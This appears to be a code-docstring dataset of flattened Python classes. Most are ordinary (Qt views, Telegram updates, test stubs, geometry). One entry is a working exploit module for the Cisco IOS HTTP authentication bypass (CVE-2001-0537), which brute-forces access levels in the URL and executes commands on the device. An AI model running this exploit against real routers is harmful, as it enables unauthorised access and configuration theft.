class DefaultListView(QtGui.QListView): <NEW_LINE> <INDENT> def __init__(self, parent=None): <NEW_LINE> <INDENT> QtGui.QListView.__init__(self, parent) <NEW_LINE> self.__verticalOffset = 0 <NEW_LINE> <DEDENT> def keyPressEvent(self, keyEvent): <NEW_LINE> <INDENT> if keyEvent.key() == Qt.Key_Return: <NEW_LINE> <INDENT> self.emit(QtCore.SIGNAL("returnPressed"), self.selectionModel().currentIndex()) <NEW_LINE> <DEDENT> QtGui.QListView.keyPressEvent(self, keyEvent) <NEW_LINE> <DEDENT> def setViewMode(self, mode): <NEW_LINE> <INDENT> size = QtCore.QSize(-1, -1) <NEW_LINE> self.__verticalOffset = 0 <NEW_LINE> if mode == QtGui.QListView.IconMode: <NEW_LINE> <INDENT> size = QtCore.QSize(115, 80) <NEW_LINE> self.__verticalOffset = -10 <NEW_LINE> <DEDENT> self.setGridSize(size) <NEW_LINE> QtGui.QListView.setViewMode(self, mode) <NEW_LINE> <DEDENT> def visualRect(self, index): <NEW_LINE> <INDENT> rect = self.rectForIndex(index) <NEW_LINE> dx = -1 * self.horizontalOffset() <NEW_LINE> dy = -1 * self.verticalOffset() - self.__verticalOffset <NEW_LINE> rect.adjust(dx, dy, dx, dy) <NEW_LINE> return rect | Customize the given L{QtGui.QListView}. | 62598fe9ab23a570cc2d5127 |
class MessageUpdate(Update): <NEW_LINE> <INDENT> update_type = 'message' <NEW_LINE> def __init__(self, update): <NEW_LINE> <INDENT> super().__init__(update) <NEW_LINE> message = update['message'] <NEW_LINE> self.message_id = message['message_id'] <NEW_LINE> self.from_user = message.get('from', None) <NEW_LINE> self.date = datetime.fromtimestamp(message['date']) <NEW_LINE> self.chat = message['chat'] <NEW_LINE> self.forward_from = message.get('forward_from', None) <NEW_LINE> self.forward_from_chat = message.get('forward_from_chat', None) <NEW_LINE> try: <NEW_LINE> <INDENT> self.forward_date = message['forward_date'] <NEW_LINE> <DEDENT> except (KeyError, TypeError): <NEW_LINE> <INDENT> self.forward_date = None <NEW_LINE> <DEDENT> self.reply_to_message = message.get('reply_to_message', None) <NEW_LINE> try: <NEW_LINE> <INDENT> self.edit_date = message['edit_date'] <NEW_LINE> <DEDENT> except (KeyError, TypeError): <NEW_LINE> <INDENT> self.edit_date = None <NEW_LINE> <DEDENT> self.text = message.get('text', None) <NEW_LINE> self.entities = message.get('entities', None) <NEW_LINE> self.audio = message.get('audio', None) <NEW_LINE> self.document = message.get('document', None) <NEW_LINE> self.photo = message.get('photo', None) <NEW_LINE> self.sticker = message.get('sticker', None) <NEW_LINE> self.video = message.get('video', None) <NEW_LINE> self.voice = message.get('voice', None) <NEW_LINE> self.caption = message.get('caption', None) <NEW_LINE> self.contact = message.get('contact', None) <NEW_LINE> self.location = message.get('location', None) <NEW_LINE> self.venue = message.get('venue', None) <NEW_LINE> self.new_chat_member = message.get('new_chat_member', None) <NEW_LINE> self.left_chat_member = message.get('left_chat_member', None) <NEW_LINE> self.new_chat_title = message.get('new_chat_title', None) <NEW_LINE> self.new_chat_photo = message.get('new_chat_photo', None) <NEW_LINE> self.delete_chat_photo = message.get('delete_chat_photo', None) <NEW_LINE> self.group_chat_created = message.get('group_chat_created', None) <NEW_LINE> self.supergroup_chat_created = message.get('supergroup_chat_created', None) <NEW_LINE> self.channel_chat_created = message.get('channel_chat_created', None) <NEW_LINE> self.migrate_to_chat_id = message.get('migrate_to_chat_id', None) <NEW_LINE> self.migrate_from_chat_id = message.get('migrate_from_chat_id', None) <NEW_LINE> self.pinned_message = message.get('pinned_message', None) | Telegram Bot API message update. | 62598fe926238365f5fad2da |
class newstr(str): <NEW_LINE> <INDENT> def isidentifier(self): <NEW_LINE> <INDENT> return utils.isidentifier(self) | Fix for :class:`~future.types.newstr.newstr`.
This implements :meth:`isidentifier`, which currently raises a
`NotImplementedError` in `future`. | 62598fe94c3428357761aa23 |
class AnotherClass(MyClass): <NEW_LINE> <INDENT> pass | This another class.
Check the nice inheritance diagram. See :class:`MyClass`. | 62598fe9fbf16365ca79483d |
class Expr: <NEW_LINE> <INDENT> def __init__(self, model, comp): <NEW_LINE> <INDENT> self._model = model <NEW_LINE> self._comp = comp <NEW_LINE> <DEDENT> def get_model(self): <NEW_LINE> <INDENT> return self._model <NEW_LINE> <DEDENT> def read(self, transact_comp): <NEW_LINE> <INDENT> return '(' + self._comp + ' ' + transact_comp + ')' <NEW_LINE> <DEDENT> def __add__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, '+', other) <NEW_LINE> <DEDENT> def __sub__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, '-', other) <NEW_LINE> <DEDENT> def __mul__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, '*', other) <NEW_LINE> <DEDENT> def __truediv__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, '/', other) <NEW_LINE> <DEDENT> def __mod__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, '%', other) <NEW_LINE> <DEDENT> def __pow__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, '**', other) <NEW_LINE> <DEDENT> def __and__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, 'and', other) <NEW_LINE> <DEDENT> def __or__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, 'or', other) <NEW_LINE> <DEDENT> def __invert__(self, other): <NEW_LINE> <INDENT> return unnary_expr(self, 'not', other) <NEW_LINE> <DEDENT> def __lt__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, '<', other) <NEW_LINE> <DEDENT> def __le__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, '<=', other) <NEW_LINE> <DEDENT> def __eq__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, '==', other) <NEW_LINE> <DEDENT> def __ne__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, '!=', other) <NEW_LINE> <DEDENT> def __gt__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, '>', other) <NEW_LINE> <DEDENT> def __ge__(self, other): <NEW_LINE> <INDENT> return binary_expr(self, '>=', other) | The expression that may depend on the current modeling time or transact attributes. | 62598fe9187af65679d29fb4 |
class FakeHTTPConnection: <NEW_LINE> <INDENT> def __init__(self, _1, _2): <NEW_LINE> <INDENT> self._req = None <NEW_LINE> options = dict(plugin_provider='quantum.plugins.SamplePlugin.FakePlugin') <NEW_LINE> self._api = server.APIRouterV1(options) <NEW_LINE> <DEDENT> def request(self, method, action, body, headers): <NEW_LINE> <INDENT> parts = action.split('/', 2) <NEW_LINE> path = '/' + parts[2] <NEW_LINE> self._req = testlib_api.create_request(path, body, "application/json", method) <NEW_LINE> <DEDENT> def getresponse(self): <NEW_LINE> <INDENT> res = self._req.get_response(self._api) <NEW_LINE> def _fake_read(): <NEW_LINE> <INDENT> return res.body <NEW_LINE> <DEDENT> setattr(res, 'read', _fake_read) <NEW_LINE> return res | stub HTTP connection class for CLI testing | 62598fe926238365f5fad2de |
class P4(_VCS): <NEW_LINE> <INDENT> def __init__(self, port=None, user=None, client=None, password=None): <NEW_LINE> <INDENT> command_prefix = ['p4', '-z', 'tag'] <NEW_LINE> if client is not None: <NEW_LINE> <INDENT> command_prefix += ['-c', client] <NEW_LINE> <DEDENT> if password is not None: <NEW_LINE> <INDENT> command_prefix += ['-P', password] <NEW_LINE> <DEDENT> if port is not None: <NEW_LINE> <INDENT> command_prefix += ['-p', port] <NEW_LINE> <DEDENT> if user is not None: <NEW_LINE> <INDENT> command_prefix += ['-u', user] <NEW_LINE> <DEDENT> super().__init__(P4Command, command_prefix) <NEW_LINE> <DEDENT> @contextlib.contextmanager <NEW_LINE> def ignore(self, *patterns): <NEW_LINE> <INDENT> tmp_path = None <NEW_LINE> with tempfile.NamedTemporaryFile(mode='w', delete=False) as tmp_file: <NEW_LINE> <INDENT> tmp_path = tmp_file.name <NEW_LINE> for it in patterns: <NEW_LINE> <INDENT> tmp_file.write('%s\n' % it) <NEW_LINE> <DEDENT> <DEDENT> ignore_env = tmp_path <NEW_LINE> if 'P4IGNORE' in os.environ: <NEW_LINE> <INDENT> ignore_env += os.environ['P4IGNORE'] <NEW_LINE> <DEDENT> with self.with_env(P4IGNORE=ignore_env): <NEW_LINE> <INDENT> yield <NEW_LINE> <DEDENT> os.remove(tmp_path) | Wrapper for P4 calls | 62598fe94c3428357761aa27 |
class J5(ObjectiveFunction): <NEW_LINE> <INDENT> def __call__(self, coordinates): <NEW_LINE> <INDENT> return j5(coordinates[0], coordinates[1]) | Plateaus function
Function containing multiple plateaus with equal objective function values
(Singh et al. 2004). | 62598fe9091ae3566870539a |
class RasterTranslatorMixin(object): <NEW_LINE> <INDENT> dataModelType = 'Raster' <NEW_LINE> @classmethod <NEW_LINE> def createLayer(cls, topicName, rosMessages=None, **kwargs): <NEW_LINE> <INDENT> if rosMessages: <NEW_LINE> <INDENT> msg = rosMessages[0] <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> msg = rospy.wait_for_message(topicName, cls.messageType, 10) <NEW_LINE> <DEDENT> geotiffFilename = cls.translate(msg) <NEW_LINE> layer = QgsRasterLayer(geotiffFilename, topicName) <NEW_LINE> return layer | Translate input raster data to a GeoTIFF format.
Does not support subscription because we have not implemented a rosrasterprovider. | 62598fe9187af65679d29fb6 |
class CMDUnregisteredError(ValueError): <NEW_LINE> <INDENT> unregistered: List[str] <NEW_LINE> def __init__(self, unregistered): <NEW_LINE> <INDENT> self.unregistered = unregistered <NEW_LINE> super().__init__(f"Some commands were not registered in a group above: {unregistered!r}") | raised if commands have not been assigned to a command group | 62598fe9ad47b63b2c5a7fd2 |
class MockSPISelectPin(MockPin): <NEW_LINE> <INDENT> def __init__(self, number): <NEW_LINE> <INDENT> super(MockSPISelectPin, self).__init__() <NEW_LINE> if not hasattr(self, 'spi_device'): <NEW_LINE> <INDENT> self.spi_device = None <NEW_LINE> <DEDENT> <DEDENT> def _set_state(self, value): <NEW_LINE> <INDENT> super(MockSPISelectPin, self)._set_state(value) <NEW_LINE> if self.spi_device: <NEW_LINE> <INDENT> self.spi_device.on_select() | This derivative of :class:`MockPin` is intended to be used as the select
pin of a mock SPI device. It is not intended for direct construction in
tests; rather, construct a :class:`MockSPIDevice` with various pin numbers,
and this class will be used for the select pin. | 62598fe9c4546d3d9def7648 |
class IC_7420(Base_14pin): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.pins = [None, 0, 0, 0, 0, 0, None, 0, None, 0, 0, 0, 0, 0, 0] <NEW_LINE> <DEDENT> def run(self): <NEW_LINE> <INDENT> output = {} <NEW_LINE> output[6] = NAND( self.pins[1], self.pins[2], self.pins[4], self.pins[5]).output() <NEW_LINE> output[8] = NAND( self.pins[9], self.pins[10], self.pins[12], self.pins[13]).output() <NEW_LINE> if self.pins[7] == 0 and self.pins[14] == 1: <NEW_LINE> <INDENT> for i in self.outputConnector: <NEW_LINE> <INDENT> self.outputConnector[i].state = output[i] <NEW_LINE> <DEDENT> return output <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> print("Ground and VCC pins have not been configured correctly.") | This is a dual 4-input NAND gate | 62598fe926238365f5fad2e8 |
class CountDown(object): <NEW_LINE> <INDENT> __slots__ = ("_canceled", "count", "_lock", "_on_zero") <NEW_LINE> def __init__(self, count, on_zero): <NEW_LINE> <INDENT> assert count > 0 <NEW_LINE> self.count = count <NEW_LINE> self._canceled = False <NEW_LINE> self._lock = threading.Lock() <NEW_LINE> self._on_zero = on_zero <NEW_LINE> <DEDENT> def cancel(self, reason): <NEW_LINE> <INDENT> with self._lock: <NEW_LINE> <INDENT> if self._canceled: <NEW_LINE> <INDENT> return <NEW_LINE> <DEDENT> self._canceled = True <NEW_LINE> self._on_zero(reason) <NEW_LINE> <DEDENT> <DEDENT> def decrement(self): <NEW_LINE> <INDENT> with self._lock: <NEW_LINE> <INDENT> self.count -= 1 <NEW_LINE> if self._canceled: <NEW_LINE> <INDENT> return <NEW_LINE> <DEDENT> elif not self.count: <NEW_LINE> <INDENT> self._on_zero(None) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def on_result(self, unused_result): <NEW_LINE> <INDENT> self.decrement() <NEW_LINE> <DEDENT> def on_failure(self, exc): <NEW_LINE> <INDENT> self.cancel(Error(exc)) | Decrements a count, calls a callback when it reaches 0.
This is used to wait for queries to complete without storing & sorting their results. | 62598fe9ab23a570cc2d5130 |
class SubDataset(SimpleVideoDataset): <NEW_LINE> <INDENT> def __init__(self, sub_meta, cl, split='train', clip_len=16, min_size=50): <NEW_LINE> <INDENT> self.all_videos = sub_meta <NEW_LINE> if len(self.all_videos) < min_size: <NEW_LINE> <INDENT> idxs = [i % len(self.all_videos) for i in range(min_size)] <NEW_LINE> self.sub_meta = np.array(self.sub_meta[idxs]).tolist() <NEW_LINE> <DEDENT> self.labels = np.repeat(cl, len(self.all_videos)) <NEW_LINE> self.split = split <NEW_LINE> self.clip_len = clip_len | 根据类别建立这个类别下的dataset | 62598fe9fbf16365ca79484d |
class TestCase(object): <NEW_LINE> <INDENT> desc = "" <NEW_LINE> name = "" <NEW_LINE> platforms = [] <NEW_LINE> def __init__(self): <NEW_LINE> <INDENT> self.components = [] <NEW_LINE> <DEDENT> def run(self): <NEW_LINE> <INDENT> successes = 0 <NEW_LINE> failures = 0 <NEW_LINE> if self.platforms and blivet.platform.getPlatform().__class__.__name__ not in self.platforms: <NEW_LINE> <INDENT> print("Test %s skipped: not valid for this platform" % self.name, file=sys.stderr) <NEW_LINE> return <NEW_LINE> <DEDENT> for obj in self.components: <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> obj._run() <NEW_LINE> <DEDENT> except FailedTest as e: <NEW_LINE> <INDENT> print("Test %s-%s failed:\n\tExpected: %s\n\tGot: %s" % (self.name, obj.name, e.expected, e.got), file=sys.stderr) <NEW_LINE> failures += 1 <NEW_LINE> continue <NEW_LINE> <DEDENT> print("Test %s-%s succeeded" % (self.name, obj.name), file=sys.stderr) <NEW_LINE> successes += 1 <NEW_LINE> <DEDENT> print("Test %s summary:" % self.name, file=sys.stderr) <NEW_LINE> print("\tSuccesses: %s" % successes, file=sys.stderr) <NEW_LINE> print("\tFailures: %s\n" % failures, file=sys.stderr) <NEW_LINE> return failures | A TestCase is a way of grouping related TestCaseComponent objects
together into a single place. It provides a way of iterating through
all these components, running each, and tabulating the results. If any
component fails, the entire TestCase fails.
Class attributes:
desc -- A description of what this test is supposed to be
testing.
name -- An identifying string given to this TestCase.
platforms -- A list of blivet.platform.Platform subclasses that this
TestCase is valid for. This TestCase will only run on
matching platforms. If the list is empty, it is assumed
to be valid for all platforms. | 62598fe9627d3e7fe0e07631 |
class Key(object): <NEW_LINE> <INDENT> def __init__(self, *names): <NEW_LINE> <INDENT> self._names = names <NEW_LINE> self._names_upper = tuple([v.upper() for v in names]) <NEW_LINE> <DEDENT> @property <NEW_LINE> def name(self): <NEW_LINE> <INDENT> return self._names[0] <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return "<Key %s>" % ', '.join([repr(v) for v in self._names]) <NEW_LINE> <DEDENT> def __eq__(self, other): <NEW_LINE> <INDENT> if isinstance(other, string_types): <NEW_LINE> <INDENT> return other.upper() in self._names_upper <NEW_LINE> <DEDENT> elif isinstance(other, Key): <NEW_LINE> <INDENT> return self._names[0] == other <NEW_LINE> <DEDENT> elif isinstance(other, int): <NEW_LINE> <INDENT> return other in [ord(v) for v in self._names_upper if len(v) == 1] <NEW_LINE> <DEDENT> elif other is None: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise ValueError('Key can only be compared to str, int and Key.') | Represent the identity of a certain key.
This represents one or more names that the key in question is known by.
A Key object can be compared to one of its string names (case
insensitive), to the integer ordinal of the key (only for keys that
represent characters), and to another Key instance. | 62598fe9fbf16365ca79484f |
class Exploit(exploits.Exploit): <NEW_LINE> <INDENT> __info__ = { 'name': 'Cisco IOS HTTP Unauthorized Administrative Access', 'description': 'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers ' 'to bypass authentication and execute arbitrary commands, ' 'when local authorization is being used, by specifying a high access level in the URL.', 'authors': [ 'renos stoikos <rstoikos[at]gmail.com>' ], 'references': [ 'http://www.cvedetails.com/cve/cve-2001-0537', ], 'devices': [ ' IOS 11.3 -> 12.2 are reportedly vulnerable.', ], } <NEW_LINE> target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) <NEW_LINE> port = exploits.Option(80, 'Target port') <NEW_LINE> show_command = exploits.Option('show startup-config', 'Command to be executed e.g show startup-config') <NEW_LINE> access_level = None <NEW_LINE> def run(self): <NEW_LINE> <INDENT> if self.check(): <NEW_LINE> <INDENT> print_success("Target is vulnerable") <NEW_LINE> url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, self.access_level, self.show_command) <NEW_LINE> response = http_request(method="GET", url=url) <NEW_LINE> if response is None: <NEW_LINE> <INDENT> print_error("Could not execute command") <NEW_LINE> return <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> print_success("Exploit success! - executing command") <NEW_LINE> print_info(re.sub('<[^<]+?>', '', response.text)) <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> print_error("Exploit failed - target seems to be not vulnerable") <NEW_LINE> <DEDENT> <DEDENT> @mute <NEW_LINE> def check(self): <NEW_LINE> <INDENT> for num in range(16, 100): <NEW_LINE> <INDENT> url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command) <NEW_LINE> response = http_request(method="GET", url=url) <NEW_LINE> if response is None: <NEW_LINE> <INDENT> break <NEW_LINE> <DEDENT> if response.status_code == 200 and "Command was: {}".format(self.show_command) in response.text: <NEW_LINE> <INDENT> self.access_level = num <NEW_LINE> return True <NEW_LINE> <DEDENT> <DEDENT> return False | This exploit targets a vulnerability in the Cisco IOS HTTP Server.
By sending a GET request for the url "http://ip_address/level/{num}/exec/..",
it is possible to bypass authentication and execute any command.
Example: http://10.0.0.1/level/99/exec/show/startup/config | 62598fe9c4546d3d9def764d |
class Segment: <NEW_LINE> <INDENT> current_point = None <NEW_LINE> cache_x = dict() <NEW_LINE> def __init__(self, points): <NEW_LINE> <INDENT> self.endpoints = points <NEW_LINE> <DEDENT> def copy(self): <NEW_LINE> <INDENT> return Segment([p.copy() for p in self.endpoints]) <NEW_LINE> <DEDENT> def length(self): <NEW_LINE> <INDENT> return self.endpoints[0].distance_to(self.endpoints[1]) <NEW_LINE> <DEDENT> def bounding_quadrant(self): <NEW_LINE> <INDENT> quadrant = Quadrant.empty_quadrant(2) <NEW_LINE> for point in self.endpoints: <NEW_LINE> <INDENT> quadrant.add_point(point) <NEW_LINE> <DEDENT> return quadrant <NEW_LINE> <DEDENT> def svg_content(self): <NEW_LINE> <INDENT> return '<line x1="{}" y1="{}" x2="{}" y2="{}"/>\n'.format( *self.endpoints[0].coordinates, *self.endpoints[1].coordinates) <NEW_LINE> <DEDENT> def intersection_with(self, other): <NEW_LINE> <INDENT> i = self.line_intersection_with(other) <NEW_LINE> if i is None: <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> if self.contains(i) and other.contains(i) and not (i in self.endpoints and i in other.endpoints): <NEW_LINE> <INDENT> return i <NEW_LINE> <DEDENT> return None <NEW_LINE> <DEDENT> def line_intersection_with(self, other): <NEW_LINE> <INDENT> directions = [s.endpoints[1] - s.endpoints[0] for s in (self, other)] <NEW_LINE> denominator = directions[0].cross_product(directions[1]) <NEW_LINE> if abs(denominator) < 0.000001: <NEW_LINE> <INDENT> return <NEW_LINE> <DEDENT> start_diff = other.endpoints[0] - self.endpoints[0] <NEW_LINE> alpha = start_diff.cross_product(directions[1]) / denominator <NEW_LINE> return self.endpoints[0] + directions[0] * alpha <NEW_LINE> <DEDENT> def contains(self, possible_point): <NEW_LINE> <INDENT> distance = sum(possible_point.distance_to(p) for p in self.endpoints) <NEW_LINE> return abs(distance - self.length()) < 0.0000001 <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return "Segment([" + str(self.endpoints[0]) + ", " + str(self.endpoints[1]) + "])" <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return "[" + repr(self.endpoints[0]) + ", " + repr(self.endpoints[1]) + "])" <NEW_LINE> <DEDENT> def __eq__(self, other): <NEW_LINE> <INDENT> return self is other <NEW_LINE> <DEDENT> def __hash__(self): <NEW_LINE> <INDENT> return hash((self.endpoints[0].coordinates[0], self.endpoints[0].coordinates[1], self.endpoints[1].coordinates[0], self.endpoints[1].coordinates[1])) <NEW_LINE> <DEDENT> def __lt__(self, other): <NEW_LINE> <INDENT> clef_self = calcul_clef(self) <NEW_LINE> clef_other = calcul_clef(other) <NEW_LINE> return clef_self < clef_other | oriented segment between two points.
for example:
- create a new segment between two points:
segment = Segment([point1, point2])
- create a new segment from coordinates:
segment = Segment([Point([1.0, 2.0]), Point([3.0, 4.0])])
- compute intersection point with other segment:
intersection = segment1.intersection_with(segment2) | 62598fe9627d3e7fe0e07637 |
class LayeredNeurons(Neurons): <NEW_LINE> <INDENT> def __init__(self, layers): <NEW_LINE> <INDENT> self.layers = layers <NEW_LINE> self.inputs = self.layers[0].inputs <NEW_LINE> self.output = self.layers[-1].output <NEW_LINE> if self.inputs[self.MAIN_INPUT].connected: <NEW_LINE> <INDENT> log.warning( 'Creating layers with pre-connected input' ) <NEW_LINE> <DEDENT> <DEDENT> def learn(self): <NEW_LINE> <INDENT> for layer in self.layers: <NEW_LINE> <INDENT> layer.learn() <NEW_LINE> <DEDENT> <DEDENT> def compute(self): <NEW_LINE> <INDENT> for layer in self.layers: <NEW_LINE> <INDENT> layer.compute() <NEW_LINE> <DEDENT> return self.values <NEW_LINE> <DEDENT> @property <NEW_LINE> def computation(self): <NEW_LINE> <INDENT> return [layer.computation for layer in self.layers] <NEW_LINE> <DEDENT> @computation.setter <NEW_LINE> def computation(self, function): <NEW_LINE> <INDENT> if function is None or isinstance(function, computation.Computation): <NEW_LINE> <INDENT> function = [function] * len(self.layers) <NEW_LINE> <DEDENT> for i, layer in enumerate(self.layers): <NEW_LINE> <INDENT> layer.computation = function[i] <NEW_LINE> <DEDENT> <DEDENT> @property <NEW_LINE> def learning(self): <NEW_LINE> <INDENT> return [layer.learning for layer in self.layers] <NEW_LINE> <DEDENT> @learning.setter <NEW_LINE> def learning(self, function): <NEW_LINE> <INDENT> if function is None or isinstance(function, learning.Learning): <NEW_LINE> <INDENT> function = [function] * len(self.layers) <NEW_LINE> <DEDENT> for i, layer in enumerate(self.layers): <NEW_LINE> <INDENT> layer.learning = function[i] | Class representing groups of neurons. | 62598fe9187af65679d29fbf |
class Particle: <NEW_LINE> <INDENT> def __init__( self, m: float, x: numpy.array, v: numpy.array = numpy.zeros(3), damping: float = 0.9, isMovable: bool = True): <NEW_LINE> <INDENT> self.m = m <NEW_LINE> self.x = x <NEW_LINE> self.xold = x <NEW_LINE> self.isMovable = isMovable <NEW_LINE> self.damping = damping <NEW_LINE> self.windForce = numpy.zeros(3) <NEW_LINE> <DEDENT> def update(self, dt: float): <NEW_LINE> <INDENT> if self.isMovable: <NEW_LINE> <INDENT> xold = self.x <NEW_LINE> self.x = self.x + (self.x - self.xold) * self.damping + (g + self.windForce / self.m)* dt**2 <NEW_LINE> self.xold = xold <NEW_LINE> self.windForce = numpy.zeros(3) | Represents a single point mass on the cloth | 62598fea4c3428357761aa3f |
class Kangaroo: <NEW_LINE> <INDENT> def __init__(self, name, contents=None): <NEW_LINE> <INDENT> self.name = name <NEW_LINE> if contents == None: <NEW_LINE> <INDENT> contents = [] <NEW_LINE> <DEDENT> self.pouch_contents = contents <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> t = [self.name + ' has pouch contents:'] <NEW_LINE> for obj in self.pouch_contents: <NEW_LINE> <INDENT> s = ' ' + object.__str__(obj) <NEW_LINE> t.append(s) <NEW_LINE> <DEDENT> return '\n'.join(t) <NEW_LINE> <DEDENT> def put_in_pouch(self, item): <NEW_LINE> <INDENT> self.pouch_contents.append(item) | A Kangaroo is a marsupial. | 62598fea627d3e7fe0e0763d |
class SimpleTask(object): <NEW_LINE> <INDENT> def __init__(self, inp): <NEW_LINE> <INDENT> self.inp = inp <NEW_LINE> <DEDENT> def __call__(self): <NEW_LINE> <INDENT> return self.inp | Simply return the input argument | 62598fea26238365f5fad2f9 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.